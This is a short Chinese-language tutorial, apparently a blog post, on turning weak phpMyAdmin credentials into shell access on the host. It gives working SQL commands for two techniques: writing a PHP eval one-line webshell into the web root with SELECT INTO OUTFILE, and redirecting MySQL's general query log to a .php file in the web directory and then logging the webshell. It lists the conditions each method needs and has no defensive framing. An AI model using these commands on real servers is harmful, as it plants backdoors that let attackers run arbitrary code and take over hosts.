漏洞简介

公网上存在很多的phpmyadmin的弱口令，很多攻击者利用弱口令进入到phpmyadin的控制台以后，可以十分快速的拿到主机权限，这里介绍几种常用的phpmyadmin后台getshell方式

select into outfile

利用条件

  • 对web目录需要有写权限能够使用单引号
  • 知道绝对路径
  • secure_file_priv没有指定值

利用过程

首先查看是否设置了secure_file_priv

show global variables like '%secure%';

如图，secure_file_priv为NULL，表示限制mysql不允许导入导出。没有具体值时，表示不对mysqld 的导入导出做限制。

当可以导出时，并且知道网站的绝对路径以后，执行一下命令写入webshell到网站路径下：

select '<?php eval($_POST[cmd]); ?>' into outfile '/var/www/shell.php';

全局日志getshell

利用条件

  • root权限启动的mysql
  • 知道网站的绝对路径

3 利用过程

查看全局日志开启状态

show variables like '%general%';


可以看到，日志未开启，这里手动开启一下：

然后将日志路径设置到网站目录下，这里也是需要知道网站的绝对路径的

set global general_log_file = '/var/www/shell.php';

然后执行以下sql：

select '<?php eval($_POST[json]);?>'

此时会将一句话的内容写入到日志文件种，日志文件路径又是我们指定的，从而写入一句话成功

最后修改：2021 年 06 月 07 日
© 允许规范转载
如果觉得我的文章对你有用，请随意赞赏